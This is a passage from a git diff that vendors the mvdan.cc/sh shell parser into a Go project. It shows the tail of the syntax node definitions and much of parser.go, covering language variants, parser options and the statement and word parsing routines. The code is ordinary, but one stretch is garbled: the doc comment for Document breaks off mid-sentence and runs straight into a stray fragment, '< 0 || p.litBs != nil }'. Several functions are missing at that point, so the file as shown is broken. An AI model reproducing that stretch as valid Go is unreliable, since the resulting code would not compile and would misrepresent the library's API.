+ X, Y TestExpr
+}
+
+func (b *BinaryTest) Pos() Pos { return b.X.Pos() }
+func (b *BinaryTest) End() Pos { return b.Y.End() }
+
+// UnaryTest represents a unary test expression. The unary operator may come
+// before or after the sub-expression.
+type UnaryTest struct {
+ OpPos Pos
+ Op UnTestOperator
+ X TestExpr
+}
+
+func (u *UnaryTest) Pos() Pos { return u.OpPos }
+func (u *UnaryTest) End() Pos { return u.X.End() }
+
+// ParenTest represents a test expression within parentheses.
+type ParenTest struct {
+ Lparen, Rparen Pos
+
+ X TestExpr
+}
+
+func (p *ParenTest) Pos() Pos { return p.Lparen }
+func (p *ParenTest) End() Pos { return posAddCol(p.Rparen, 1) }
+
+// DeclClause represents a Bash declare clause.
+//
+// Args can contain a mix of regular and naked assignments. The naked
+// assignments can represent either options or variable names.
+//
+// This node will only appear with LangBash.
+type DeclClause struct {
+ // Variant is one of "declare", "local", "export", "readonly",
+ // "typeset", or "nameref".
+ Variant *Lit
+ Args []*Assign
+}
+
+func (d *DeclClause) Pos() Pos { return d.Variant.Pos() }
+func (d *DeclClause) End() Pos {
+ if len(d.Args) > 0 {
+ return d.Args[len(d.Args)-1].End()
+ }
+ return d.Variant.End()
+}
+
+// ArrayExpr represents a Bash array expression.
+//
+// This node will only appear with LangBash.
+type ArrayExpr struct {
+ Lparen, Rparen Pos
+
+ Elems []*ArrayElem
+ Last []Comment
+}
+
+func (a *ArrayExpr) Pos() Pos { return a.Lparen }
+func (a *ArrayExpr) End() Pos { return posAddCol(a.Rparen, 1) }
+
+// ArrayElem represents a Bash array element.
+//
+// Index can be nil; for example, declare -a x=(value).
+// Value can be nil; for example, declare -A x=([index]=).
+// Finally, neither can be nil; for example, declare -A x=([index]=value)
+type ArrayElem struct {
+ Index ArithmExpr
+ Value *Word
+ Comments []Comment
+}
+
+func (a *ArrayElem) Pos() Pos {
+ if a.Index != nil {
+ return a.Index.Pos()
+ }
+ return a.Value.Pos()
+}
+
+func (a *ArrayElem) End() Pos {
+ if a.Value != nil {
+ return a.Value.End()
+ }
+ return posAddCol(a.Index.Pos(), 1)
+}
+
+// ExtGlob represents a Bash extended globbing expression. Note that these are
+// parsed independently of whether shopt has been called or not.
+//
+// This node will only appear in LangBash and LangMirBSDKorn.
+type ExtGlob struct {
+ OpPos Pos
+ Op GlobOperator
+ Pattern *Lit
+}
+
+func (e *ExtGlob) Pos() Pos { return e.OpPos }
+func (e *ExtGlob) End() Pos { return posAddCol(e.Pattern.End(), 1) }
+
+// ProcSubst represents a Bash process substitution.
+//
+// This node will only appear with LangBash.
+type ProcSubst struct {
+ OpPos, Rparen Pos
+ Op ProcOperator
+
+ Stmts []*Stmt
+ Last []Comment
+}
+
+func (s *ProcSubst) Pos() Pos { return s.OpPos }
+func (s *ProcSubst) End() Pos { return posAddCol(s.Rparen, 1) }
+
+// TimeClause represents a Bash time clause. PosixFormat corresponds to the -p
+// flag.
+//
+// This node will only appear in LangBash and LangMirBSDKorn.
+type TimeClause struct {
+ Time Pos
+ PosixFormat bool
+ Stmt *Stmt
+}
+
+func (c *TimeClause) Pos() Pos { return c.Time }
+func (c *TimeClause) End() Pos {
+ if c.Stmt == nil {
+ return posAddCol(c.Time, 4)
+ }
+ return c.Stmt.End()
+}
+
+// CoprocClause represents a Bash coproc clause.
+//
+// This node will only appear with LangBash.
+type CoprocClause struct {
+ Coproc Pos
+ Name *Word
+ Stmt *Stmt
+}
+
+func (c *CoprocClause) Pos() Pos { return c.Coproc }
+func (c *CoprocClause) End() Pos { return c.Stmt.End() }
+
+// LetClause represents a Bash let clause.
+//
+// This node will only appear in LangBash and LangMirBSDKorn.
+type LetClause struct {
+ Let Pos
+ Exprs []ArithmExpr
+}
+
+func (l *LetClause) Pos() Pos { return l.Let }
+func (l *LetClause) End() Pos { return l.Exprs[len(l.Exprs)-1].End() }
+
+// BraceExp represents a Bash brace expression, such as "{a,f}" or "{1..10}".
+//
+// This node will only appear as a result of SplitBraces.
+type BraceExp struct {
+ Sequence bool // {x..y[..incr]} instead of {x,y[,...]}
+ Elems []*Word
+}
+
+func (b *BraceExp) Pos() Pos {
+ return posAddCol(b.Elems[0].Pos(), -1)
+}
+
+func (b *BraceExp) End() Pos {
+ return posAddCol(wordLastEnd(b.Elems), 1)
+}
+
+// TestDecl represents the declaration of a Bats test function.
+type TestDecl struct {
+ Position Pos
+ Description *Word
+ Body *Stmt
+}
+
+func (f *TestDecl) Pos() Pos { return f.Position }
+func (f *TestDecl) End() Pos { return f.Body.End() }
+
+func wordLastEnd(ws []*Word) Pos {
+ if len(ws) == 0 {
+ return Pos{}
+ }
+ return ws[len(ws)-1].End()
+}
diff --git a/vendor/mvdan.cc/sh/v3/syntax/parser.go b/vendor/mvdan.cc/sh/v3/syntax/parser.go
new file mode 100644
index 0000000000..99ae17c21a
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/syntax/parser.go
@@ -0,0 +1,2489 @@
+// Copyright (c) 2016, Daniel Martí
+// See LICENSE for licensing information
+
+package syntax
+
+import (
+ "bytes"
+ "fmt"
+ "io"
+ "strconv"
+ "strings"
+ "unicode/utf8"
+)
+
+// ParserOption is a function which can be passed to NewParser
+// to alter its behavior. To apply option to existing Parser
+// call it directly, for example KeepComments(true)(parser).
+type ParserOption func(*Parser)
+
+// KeepComments makes the parser parse comments and attach them to
+// nodes, as opposed to discarding them.
+func KeepComments(enabled bool) ParserOption {
+ return func(p *Parser) { p.keepComments = enabled }
+}
+
+// LangVariant describes a shell language variant to use when tokenizing and
+// parsing shell code. The zero value is LangBash.
+type LangVariant int
+
+const (
+ // LangBash corresponds to the GNU Bash language, as described in its
+ // manual at https://www.gnu.org/software/bash/manual/bash.html.
+ //
+ // We currently follow Bash version 5.1.
+ //
+ // Its string representation is "bash".
+ LangBash LangVariant = iota
+
+ // LangPOSIX corresponds to the POSIX Shell language, as described at
+ // https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html.
+ //
+ // Its string representation is "posix" or "sh".
+ LangPOSIX
+
+ // LangMirBSDKorn corresponds to the MirBSD Korn Shell, also known as
+ // mksh, as described at http://www.mirbsd.org/htman/i386/man1/mksh.htm.
+ // Note that it shares some features with Bash, due to the the shared
+ // ancestry that is ksh.
+ //
+ // We currently follow mksh version 59.
+ //
+ // Its string representation is "mksh".
+ LangMirBSDKorn
+
+ // LangBats corresponds to the Bash Automated Testing System language,
+ // as described at https://github.com/bats-core/bats-core. Note that
+ // it's just a small extension of the Bash language.
+ //
+ // Its string representation is "bats".
+ LangBats
+
+ // LangAuto corresponds to automatic language detection,
+ // commonly used by end-user applications like shfmt,
+ // which can guess a file's language variant given its filename or shebang.
+ //
+ // At this time, the Parser does not support LangAuto.
+ LangAuto
+)
+
+// Variant changes the shell language variant that the parser will
+// accept.
+//
+// The passed language variant must be one of the constant values defined in
+// this package.
+func Variant(l LangVariant) ParserOption {
+ switch l {
+ case LangBash, LangPOSIX, LangMirBSDKorn, LangBats:
+ case LangAuto:
+ panic("LangAuto is not supported by the parser at this time")
+ default:
+ panic(fmt.Sprintf("unknown shell language variant: %d", l))
+ }
+ return func(p *Parser) { p.lang = l }
+}
+
+func (l LangVariant) String() string {
+ switch l {
+ case LangBash:
+ return "bash"
+ case LangPOSIX:
+ return "posix"
+ case LangMirBSDKorn:
+ return "mksh"
+ case LangBats:
+ return "bats"
+ case LangAuto:
+ return "auto"
+ }
+ return "unknown shell language variant"
+}
+
+func (l *LangVariant) Set(s string) error {
+ switch s {
+ case "bash":
+ *l = LangBash
+ case "posix", "sh":
+ *l = LangPOSIX
+ case "mksh":
+ *l = LangMirBSDKorn
+ case "bats":
+ *l = LangBats
+ case "auto":
+ *l = LangAuto
+ default:
+ return fmt.Errorf("unknown shell language variant: %q", s)
+ }
+ return nil
+}
+
+func (l LangVariant) isBash() bool {
+ return l == LangBash || l == LangBats
+}
+
+// StopAt configures the lexer to stop at an arbitrary word, treating it
+// as if it were the end of the input. It can contain any characters
+// except whitespace, and cannot be over four bytes in size.
+//
+// This can be useful to embed shell code within another language, as
+// one can use a special word to mark the delimiters between the two.
+//
+// As a word, it will only apply when following whitespace or a
+// separating token. For example, StopAt("$$") will act on the inputs
+// "foo $$" and "foo;$$", but not on "foo '$$'".
+//
+// The match is done by prefix, so the example above will also act on
+// "foo $$bar".
+func StopAt(word string) ParserOption {
+ if len(word) > 4 {
+ panic("stop word can't be over four bytes in size")
+ }
+ if strings.ContainsAny(word, " \t\n\r") {
+ panic("stop word can't contain whitespace characters")
+ }
+ return func(p *Parser) { p.stopAt = []byte(word) }
+}
+
+// NewParser allocates a new Parser and applies any number of options.
+func NewParser(options ...ParserOption) *Parser {
+ p := &Parser{}
+ for _, opt := range options {
+ opt(p)
+ }
+ return p
+}
+
+// Parse reads and parses a shell program with an optional name. It
+// returns the parsed program if no issues were encountered. Otherwise,
+// an error is returned. Reads from r are buffered.
+//
+// Parse can be called more than once, but not concurrently. That is, a
+// Parser can be reused once it is done working.
+func (p *Parser) Parse(r io.Reader, name string) (*File, error) {
+ p.reset()
+ p.f = &File{Name: name}
+ p.src = r
+ p.rune()
+ p.next()
+ p.f.Stmts, p.f.Last = p.stmtList()
+ if p.err == nil {
+ // EOF immediately after heredoc word so no newline to
+ // trigger it
+ p.doHeredocs()
+ }
+ return p.f, p.err
+}
+
+// Stmts reads and parses statements one at a time, calling a function
+// each time one is parsed. If the function returns false, parsing is
+// stopped and the function is not called again.
+func (p *Parser) Stmts(r io.Reader, fn func(*Stmt) bool) error {
+ p.reset()
+ p.f = &File{}
+ p.src = r
+ p.rune()
+ p.next()
+ p.stmts(fn)
+ if p.err == nil {
+ // EOF immediately after heredoc word so no newline to
+ // trigger it
+ p.doHeredocs()
+ }
+ return p.err
+}
+
+type wrappedReader struct {
+ *Parser
+ io.Reader
+
+ lastLine int
+ accumulated []*Stmt
+ fn func([]*Stmt) bool
+}
+
+func (w *wrappedReader) Read(p []byte) (n int, err error) {
+ // If we lexed a newline for the first time, we just finished a line, so
+ // we may need to give a callback for the edge cases below not covered
+ // by Parser.Stmts.
+ if (w.r == '\n' || w.r == escNewl) && w.line > w.lastLine {
+ if w.Incomplete() {
+ // Incomplete statement; call back to print "> ".
+ if !w.fn(w.accumulated) {
+ return 0, io.EOF
+ }
+ } else if len(w.accumulated) == 0 {
+ // Nothing was parsed; call back to print another "$ ".
+ if !w.fn(nil) {
+ return 0, io.EOF
+ }
+ }
+ w.lastLine = w.line
+ }
+ return w.Reader.Read(p)
+}
+
+// Interactive implements what is necessary to parse statements in an
+// interactive shell. The parser will call the given function under two
+// circumstances outlined below.
+//
+// If a line containing any number of statements is parsed, the function will be
+// called with said statements.
+//
+// If a line ending in an incomplete statement is parsed, the function will be
+// called with any fully parsed statements, and [Parser.Incomplete] will return true.
+//
+// One can imagine a simple interactive shell implementation as follows:
+//
+// fmt.Fprintf(os.Stdout, "$ ")
+// parser.Interactive(os.Stdin, func(stmts []*syntax.Stmt) bool {
+// if parser.Incomplete() {
+// fmt.Fprintf(os.Stdout, "> ")
+// return true
+// }
+// run(stmts)
+// fmt.Fprintf(os.Stdout, "$ ")
+// return true
+// }
+//
+// If the callback function returns false, parsing is stopped and the function
+// is not called again.
+func (p *Parser) Interactive(r io.Reader, fn func([]*Stmt) bool) error {
+ w := wrappedReader{Parser: p, Reader: r, fn: fn}
+ return p.Stmts(&w, func(stmt *Stmt) bool {
+ w.accumulated = append(w.accumulated, stmt)
+ // We finished parsing a statement and we're at a newline token,
+ // so we finished fully parsing a number of statements. Call
+ // back to run the statements and print "$ ".
+ if p.tok == _Newl {
+ if !fn(w.accumulated) {
+ return false
+ }
+ w.accumulated = w.accumulated[:0]
+ // The callback above would already print "$ ", so we
+ // don't want the subsequent wrappedReader.Read to cause
+ // another "$ " print thinking that nothing was parsed.
+ w.lastLine = w.line + 1
+ }
+ return true
+ })
+}
+
+// Words reads and parses words one at a time, calling a function each time one
+// is parsed. If the function returns false, parsing is stopped and the function
+// is not called again.
+//
+// Newlines are skipped, meaning that multi-line input will work fine. If the
+// parser encounters a token that isn't a word, such as a semicolon, an error
+// will be returned.
+//
+// Note that the lexer doesn't currently tokenize spaces, so it may need to read
+// a non-space byte such as a newline or a letter before finishing the parsing
+// of a word. This will be fixed in the future.
+func (p *Parser) Words(r io.Reader, fn func(*Word) bool) error {
+ p.reset()
+ p.f = &File{}
+ p.src = r
+ p.rune()
+ p.next()
+ for {
+ p.got(_Newl)
+ w := p.getWord()
+ if w == nil {
+ if p.tok != _EOF {
+ p.curErr("%s is not a valid word", p.tok)
+ }
+ return p.err
+ }
+ if !fn(w) {
+ return nil
+ }
+ }
+}
+
+// Document parses a single here-document word. That is, it parses the input as
+// if they were lines following a < 0 || p.litBs != nil
+}
+
+const bufSize = 1 << 10
+
+func (p *Parser) reset() {
+ p.tok, p.val = illegalTok, ""
+ p.eqlOffs = 0
+ p.bs, p.bsp = nil, 0
+ p.offs, p.line, p.col = 0, 1, 1
+ p.r, p.w = 0, 0
+ p.err, p.readErr = nil, nil
+ p.quote, p.forbidNested = noState, false
+ p.openStmts = 0
+ p.heredocs, p.buriedHdocs = p.heredocs[:0], 0
+ p.parsingDoc = false
+ p.openBquotes, p.buriedBquotes = 0, 0
+ p.accComs, p.curComs = nil, &p.accComs
+ p.litBatch = nil
+ p.wordBatch = nil
+ p.stmtBatch = nil
+ p.callBatch = nil
+}
+
+func (p *Parser) nextPos() Pos {
+ // TODO: detect offset overflow while lexing as well.
+ var line, col uint
+ if !p.lineOverflow {
+ line = uint(p.line)
+ }
+ if !p.colOverflow {
+ col = uint(p.col)
+ }
+ return NewPos(uint(p.offs+p.bsp-p.w), line, col)
+}
+
+func (p *Parser) lit(pos Pos, val string) *Lit {
+ if len(p.litBatch) == 0 {
+ p.litBatch = make([]Lit, 64)
+ }
+ l := &p.litBatch[0]
+ p.litBatch = p.litBatch[1:]
+ l.ValuePos = pos
+ l.ValueEnd = p.nextPos()
+ l.Value = val
+ return l
+}
+
+type wordAlloc struct {
+ word Word
+ parts [1]WordPart
+}
+
+func (p *Parser) wordAnyNumber() *Word {
+ if len(p.wordBatch) == 0 {
+ p.wordBatch = make([]wordAlloc, 32)
+ }
+ alloc := &p.wordBatch[0]
+ p.wordBatch = p.wordBatch[1:]
+ w := &alloc.word
+ w.Parts = p.wordParts(alloc.parts[:0])
+ return w
+}
+
+func (p *Parser) wordOne(part WordPart) *Word {
+ if len(p.wordBatch) == 0 {
+ p.wordBatch = make([]wordAlloc, 32)
+ }
+ alloc := &p.wordBatch[0]
+ p.wordBatch = p.wordBatch[1:]
+ w := &alloc.word
+ w.Parts = alloc.parts[:1]
+ w.Parts[0] = part
+ return w
+}
+
+func (p *Parser) stmt(pos Pos) *Stmt {
+ if len(p.stmtBatch) == 0 {
+ p.stmtBatch = make([]Stmt, 32)
+ }
+ s := &p.stmtBatch[0]
+ p.stmtBatch = p.stmtBatch[1:]
+ s.Position = pos
+ return s
+}
+
+type callAlloc struct {
+ ce CallExpr
+ ws [4]*Word
+}
+
+func (p *Parser) call(w *Word) *CallExpr {
+ if len(p.callBatch) == 0 {
+ p.callBatch = make([]callAlloc, 32)
+ }
+ alloc := &p.callBatch[0]
+ p.callBatch = p.callBatch[1:]
+ ce := &alloc.ce
+ ce.Args = alloc.ws[:1]
+ ce.Args[0] = w
+ return ce
+}
+
+//go:generate stringer -type=quoteState
+
+type quoteState uint32
+
+const (
+ noState quoteState = 1 << iota
+ subCmd
+ subCmdBckquo
+ dblQuotes
+ hdocWord
+ hdocBody
+ hdocBodyTabs
+ arithmExpr
+ arithmExprLet
+ arithmExprCmd
+ arithmExprBrack
+ testExpr
+ testExprRegexp
+ switchCase
+ paramExpName
+ paramExpSlice
+ paramExpRepl
+ paramExpExp
+ arrayElems
+
+ allKeepSpaces = paramExpRepl | dblQuotes | hdocBody |
+ hdocBodyTabs | paramExpExp
+ allRegTokens = noState | subCmd | subCmdBckquo | hdocWord |
+ switchCase | arrayElems | testExpr
+ allArithmExpr = arithmExpr | arithmExprLet | arithmExprCmd |
+ arithmExprBrack | paramExpSlice
+ allParamReg = paramExpName | paramExpSlice
+ allParamExp = allParamReg | paramExpRepl | paramExpExp | arithmExprBrack
+)
+
+type saveState struct {
+ quote quoteState
+ buriedHdocs int
+}
+
+func (p *Parser) preNested(quote quoteState) (s saveState) {
+ s.quote, s.buriedHdocs = p.quote, p.buriedHdocs
+ p.buriedHdocs, p.quote = len(p.heredocs), quote
+ return
+}
+
+func (p *Parser) postNested(s saveState) {
+ p.quote, p.buriedHdocs = s.quote, s.buriedHdocs
+}
+
+func (p *Parser) unquotedWordBytes(w *Word) ([]byte, bool) {
+ buf := make([]byte, 0, 4)
+ didUnquote := false
+ for _, wp := range w.Parts {
+ buf, didUnquote = p.unquotedWordPart(buf, wp, false)
+ }
+ return buf, didUnquote
+}
+
+func (p *Parser) unquotedWordPart(buf []byte, wp WordPart, quotes bool) (_ []byte, quoted bool) {
+ switch x := wp.(type) {
+ case *Lit:
+ for i := 0; i < len(x.Value); i++ {
+ if b := x.Value[i]; b == '\\' && !quotes {
+ if i++; i < len(x.Value) {
+ buf = append(buf, x.Value[i])
+ }
+ quoted = true
+ } else {
+ buf = append(buf, b)
+ }
+ }
+ case *SglQuoted:
+ buf = append(buf, []byte(x.Value)...)
+ quoted = true
+ case *DblQuoted:
+ for _, wp2 := range x.Parts {
+ buf, _ = p.unquotedWordPart(buf, wp2, true)
+ }
+ quoted = true
+ }
+ return buf, quoted
+}
+
+func (p *Parser) doHeredocs() {
+ hdocs := p.heredocs[p.buriedHdocs:]
+ if len(hdocs) == 0 {
+ // Nothing do do; don't even issue a read.
+ return
+ }
+ p.rune() // consume '\n', since we know p.tok == _Newl
+ old := p.quote
+ p.heredocs = p.heredocs[:p.buriedHdocs]
+ for i, r := range hdocs {
+ if p.err != nil {
+ break
+ }
+ p.quote = hdocBody
+ if r.Op == DashHdoc {
+ p.quote = hdocBodyTabs
+ }
+ stop, quoted := p.unquotedWordBytes(r.Word)
+ p.hdocStops = append(p.hdocStops, stop)
+ if i > 0 && p.r == '\n' {
+ p.rune()
+ }
+ lastLine := p.line
+ if quoted {
+ r.Hdoc = p.quotedHdocWord()
+ } else {
+ p.next()
+ r.Hdoc = p.getWord()
+ }
+ if r.Hdoc != nil {
+ lastLine = int(r.Hdoc.End().Line())
+ }
+ if lastLine < p.line {
+ // TODO: It seems like this triggers more often than it
+ // should. Look into it.
+ l := p.lit(p.nextPos(), "")
+ if r.Hdoc == nil {
+ r.Hdoc = p.wordOne(l)
+ } else {
+ r.Hdoc.Parts = append(r.Hdoc.Parts, l)
+ }
+ }
+ if stop := p.hdocStops[len(p.hdocStops)-1]; stop != nil {
+ p.posErr(r.Pos(), "unclosed here-document '%s'", stop)
+ }
+ p.hdocStops = p.hdocStops[:len(p.hdocStops)-1]
+ }
+ p.quote = old
+}
+
+func (p *Parser) got(tok token) bool {
+ if p.tok == tok {
+ p.next()
+ return true
+ }
+ return false
+}
+
+func (p *Parser) gotRsrv(val string) (Pos, bool) {
+ pos := p.pos
+ if p.tok == _LitWord && p.val == val {
+ p.next()
+ return pos, true
+ }
+ return pos, false
+}
+
+func readableStr(s string) string {
+ // don't quote tokens like & or }
+ if s != "" && s[0] >= 'a' && s[0] <= 'z' {
+ return strconv.Quote(s)
+ }
+ return s
+}
+
+func (p *Parser) followErr(pos Pos, left, right string) {
+ leftStr := readableStr(left)
+ p.posErr(pos, "%s must be followed by %s", leftStr, right)
+}
+
+func (p *Parser) followErrExp(pos Pos, left string) {
+ p.followErr(pos, left, "an expression")
+}
+
+func (p *Parser) follow(lpos Pos, left string, tok token) {
+ if !p.got(tok) {
+ p.followErr(lpos, left, tok.String())
+ }
+}
+
+func (p *Parser) followRsrv(lpos Pos, left, val string) Pos {
+ pos, ok := p.gotRsrv(val)
+ if !ok {
+ p.followErr(lpos, left, fmt.Sprintf("%q", val))
+ }
+ return pos
+}
+
+func (p *Parser) followStmts(left string, lpos Pos, stops ...string) ([]*Stmt, []Comment) {
+ if p.got(semicolon) {
+ return nil, nil
+ }
+ newLine := p.got(_Newl)
+ stmts, last := p.stmtList(stops...)
+ if len(stmts) < 1 && !newLine {
+ p.followErr(lpos, left, "a statement list")
+ }
+ return stmts, last
+}
+
+func (p *Parser) followWordTok(tok token, pos Pos) *Word {
+ w := p.getWord()
+ if w == nil {
+ p.followErr(pos, tok.String(), "a word")
+ }
+ return w
+}
+
+func (p *Parser) stmtEnd(n Node, start, end string) Pos {
+ pos, ok := p.gotRsrv(end)
+ if !ok {
+ p.posErr(n.Pos(), "%s statement must end with %q", start, end)
+ }
+ return pos
+}
+
+func (p *Parser) quoteErr(lpos Pos, quote token) {
+ p.posErr(lpos, "reached %s without closing quote %s",
+ p.tok.String(), quote)
+}
+
+func (p *Parser) matchingErr(lpos Pos, left, right any) {
+ p.posErr(lpos, "reached %s without matching %s with %s",
+ p.tok.String(), left, right)
+}
+
+func (p *Parser) matched(lpos Pos, left, right token) Pos {
+ pos := p.pos
+ if !p.got(right) {
+ p.matchingErr(lpos, left, right)
+ }
+ return pos
+}
+
+func (p *Parser) errPass(err error) {
+ if p.err == nil {
+ p.err = err
+ p.bsp = len(p.bs) + 1
+ p.r = utf8.RuneSelf
+ p.w = 1
+ p.tok = _EOF
+ }
+}
+
+// IsIncomplete reports whether a Parser error could have been avoided with
+// extra input bytes. For example, if an [io.EOF] was encountered while there was
+// an unclosed quote or parenthesis.
+func IsIncomplete(err error) bool {
+ perr, ok := err.(ParseError)
+ return ok && perr.Incomplete
+}
+
+// IsKeyword returns true if the given word is part of the language keywords.
+func IsKeyword(word string) bool {
+ // This list has been copied from the bash 5.1 source code, file y.tab.c +4460
+ switch word {
+ case
+ "!",
+ "[[", // only if COND_COMMAND is defined
+ "]]", // only if COND_COMMAND is defined
+ "case",
+ "coproc", // only if COPROCESS_SUPPORT is defined
+ "do",
+ "done",
+ "else",
+ "esac",
+ "fi",
+ "for",
+ "function",
+ "if",
+ "in",
+ "select", // only if SELECT_COMMAND is defined
+ "then",
+ "time", // only if COMMAND_TIMING is defined
+ "until",
+ "while",
+ "{",
+ "}":
+ return true
+ }
+ return false
+}
+
+// ParseError represents an error found when parsing a source file, from which
+// the parser cannot recover.
+type ParseError struct {
+ Filename string
+ Pos Pos
+ Text string
+
+ Incomplete bool
+}
+
+func (e ParseError) Error() string {
+ if e.Filename == "" {
+ return fmt.Sprintf("%s: %s", e.Pos.String(), e.Text)
+ }
+ return fmt.Sprintf("%s:%s: %s", e.Filename, e.Pos.String(), e.Text)
+}
+
+// LangError is returned when the parser encounters code that is only valid in
+// other shell language variants. The error includes what feature is not present
+// in the current language variant, and what languages support it.
+type LangError struct {
+ Filename string
+ Pos Pos
+ Feature string
+ Langs []LangVariant
+}
+
+func (e LangError) Error() string {
+ var buf bytes.Buffer
+ if e.Filename != "" {
+ buf.WriteString(e.Filename + ":")
+ }
+ buf.WriteString(e.Pos.String() + ": ")
+ buf.WriteString(e.Feature)
+ if strings.HasSuffix(e.Feature, "s") {
+ buf.WriteString(" are a ")
+ } else {
+ buf.WriteString(" is a ")
+ }
+ for i, lang := range e.Langs {
+ if i > 0 {
+ buf.WriteString("/")
+ }
+ buf.WriteString(lang.String())
+ }
+ buf.WriteString(" feature")
+ return buf.String()
+}
+
+func (p *Parser) posErr(pos Pos, format string, a ...any) {
+ p.errPass(ParseError{
+ Filename: p.f.Name,
+ Pos: pos,
+ Text: fmt.Sprintf(format, a...),
+ Incomplete: p.tok == _EOF && p.Incomplete(),
+ })
+}
+
+func (p *Parser) curErr(format string, a ...any) {
+ p.posErr(p.pos, format, a...)
+}
+
+func (p *Parser) langErr(pos Pos, feature string, langs ...LangVariant) {
+ p.errPass(LangError{
+ Filename: p.f.Name,
+ Pos: pos,
+ Feature: feature,
+ Langs: langs,
+ })
+}
+
+func (p *Parser) stmts(fn func(*Stmt) bool, stops ...string) {
+ gotEnd := true
+loop:
+ for p.tok != _EOF {
+ newLine := p.got(_Newl)
+ switch p.tok {
+ case _LitWord:
+ for _, stop := range stops {
+ if p.val == stop {
+ break loop
+ }
+ }
+ case rightParen:
+ if p.quote == subCmd {
+ break loop
+ }
+ case bckQuote:
+ if p.backquoteEnd() {
+ break loop
+ }
+ case dblSemicolon, semiAnd, dblSemiAnd, semiOr:
+ if p.quote == switchCase {
+ break loop
+ }
+ p.curErr("%s can only be used in a case clause", p.tok)
+ }
+ if !newLine && !gotEnd {
+ p.curErr("statements must be separated by &, ; or a newline")
+ }
+ if p.tok == _EOF {
+ break
+ }
+ p.openStmts++
+ s := p.getStmt(true, false, false)
+ p.openStmts--
+ if s == nil {
+ p.invalidStmtStart()
+ break
+ }
+ gotEnd = s.Semicolon.IsValid()
+ if !fn(s) {
+ break
+ }
+ }
+}
+
+func (p *Parser) stmtList(stops ...string) ([]*Stmt, []Comment) {
+ var stmts []*Stmt
+ var last []Comment
+ fn := func(s *Stmt) bool {
+ stmts = append(stmts, s)
+ return true
+ }
+ p.stmts(fn, stops...)
+ split := len(p.accComs)
+ if p.tok == _LitWord && (p.val == "elif" || p.val == "else" || p.val == "fi") {
+ // Split the comments, so that any aligned with an opening token
+ // get attached to it. For example:
+ //
+ // if foo; then
+ // # inside the body
+ // # document the else
+ // else
+ // fi
+ // TODO(mvdan): look into deduplicating this with similar logic
+ // in caseItems.
+ for i := len(p.accComs) - 1; i >= 0; i-- {
+ c := p.accComs[i]
+ if c.Pos().Col() != p.pos.Col() {
+ break
+ }
+ split = i
+ }
+ }
+ if split > 0 { // keep last nil if empty
+ last = p.accComs[:split]
+ }
+ p.accComs = p.accComs[split:]
+ return stmts, last
+}
+
+func (p *Parser) invalidStmtStart() {
+ switch p.tok {
+ case semicolon, and, or, andAnd, orOr:
+ p.curErr("%s can only immediately follow a statement", p.tok)
+ case rightParen:
+ p.curErr("%s can only be used to close a subshell", p.tok)
+ default:
+ p.curErr("%s is not a valid start for a statement", p.tok)
+ }
+}
+
+func (p *Parser) getWord() *Word {
+ if w := p.wordAnyNumber(); len(w.Parts) > 0 && p.err == nil {
+ return w
+ }
+ return nil
+}
+
+func (p *Parser) getLit() *Lit {
+ switch p.tok {
+ case _Lit, _LitWord, _LitRedir:
+ l := p.lit(p.pos, p.val)
+ p.next()
+ return l
+ }
+ return nil
+}
+
+func (p *Parser) wordParts(wps []WordPart) []WordPart {
+ for {
+ n := p.wordPart()
+ if n == nil {
+ if len(wps) == 0 {
+ return nil // normalize empty lists into nil
+ }
+ return wps
+ }
+ wps = append(wps, n)
+ if p.spaced {
+ return wps
+ }
+ }
+}
+
+func (p *Parser) ensureNoNested() {
+ if p.forbidNested {
+ p.curErr("expansions not allowed in heredoc words")
+ }
+}
+
+func (p *Parser) wordPart() WordPart {
+ switch p.tok {
+ case _Lit, _LitWord, _LitRedir:
+ l := p.lit(p.pos, p.val)
+ p.next()
+ return l
+ case dollBrace:
+ p.ensureNoNested()
+ switch p.r {
+ case '|':
+ if p.lang != LangMirBSDKorn {
+ p.curErr(`"${|stmts;}" is a mksh feature`)
+ }
+ fallthrough
+ case ' ', '\t', '\n':
+ if p.lang != LangMirBSDKorn {
+ p.curErr(`"${ stmts;}" is a mksh feature`)
+ }
+ cs := &CmdSubst{
+ Left: p.pos,
+ TempFile: p.r != '|',
+ ReplyVar: p.r == '|',
+ }
+ old := p.preNested(subCmd)
+ p.rune() // don't tokenize '|'
+ p.next()
+ cs.Stmts, cs.Last = p.stmtList("}")
+ p.postNested(old)
+ pos, ok := p.gotRsrv("}")
+ if !ok {
+ p.matchingErr(cs.Left, "${", "}")
+ }
+ cs.Right = pos
+ return cs
+ default:
+ return p.paramExp()
+ }
+ case dollDblParen, dollBrack:
+ p.ensureNoNested()
+ left := p.tok
+ ar := &ArithmExp{Left: p.pos, Bracket: left == dollBrack}
+ var old saveState
+ if ar.Bracket {
+ old = p.preNested(arithmExprBrack)
+ } else {
+ old = p.preNested(arithmExpr)
+ }
+ p.next()
+ if p.got(hash) {
+ if p.lang != LangMirBSDKorn {
+ p.langErr(ar.Pos(), "unsigned expressions", LangMirBSDKorn)
+ }
+ ar.Unsigned = true
+ }
+ ar.X = p.followArithm(left, ar.Left)
+ if ar.Bracket {
+ if p.tok != rightBrack {
+ p.arithmMatchingErr(ar.Left, dollBrack, rightBrack)
+ }
+ p.postNested(old)
+ ar.Right = p.pos
+ p.next()
+ } else {
+ ar.Right = p.arithmEnd(dollDblParen, ar.Left, old)
+ }
+ return ar
+ case dollParen:
+ p.ensureNoNested()
+ cs := &CmdSubst{Left: p.pos}
+ old := p.preNested(subCmd)
+ p.next()
+ cs.Stmts, cs.Last = p.stmtList()
+ p.postNested(old)
+ cs.Right = p.matched(cs.Left, leftParen, rightParen)
+ return cs
+ case dollar:
+ r := p.r
+ switch {
+ case singleRuneParam(r):
+ p.tok, p.val = _LitWord, string(r)
+ p.rune()
+ case 'a' <= r && r <= 'z', 'A' <= r && r <= 'Z',
+ '0' <= r && r <= '9', r == '_', r == '\\':
+ p.advanceNameCont(r)
+ default:
+ l := p.lit(p.pos, "$")
+ p.next()
+ return l
+ }
+ p.ensureNoNested()
+ pe := &ParamExp{Dollar: p.pos, Short: true}
+ p.pos = posAddCol(p.pos, 1)
+ pe.Param = p.getLit()
+ if pe.Param != nil && pe.Param.Value == "" {
+ l := p.lit(pe.Dollar, "$")
+ // e.g. "$\\\"" within double quotes, so we must
+ // keep the rest of the literal characters.
+ l.ValueEnd = posAddCol(l.ValuePos, 1)
+ return l
+ }
+ return pe
+ case cmdIn, cmdOut:
+ p.ensureNoNested()
+ ps := &ProcSubst{Op: ProcOperator(p.tok), OpPos: p.pos}
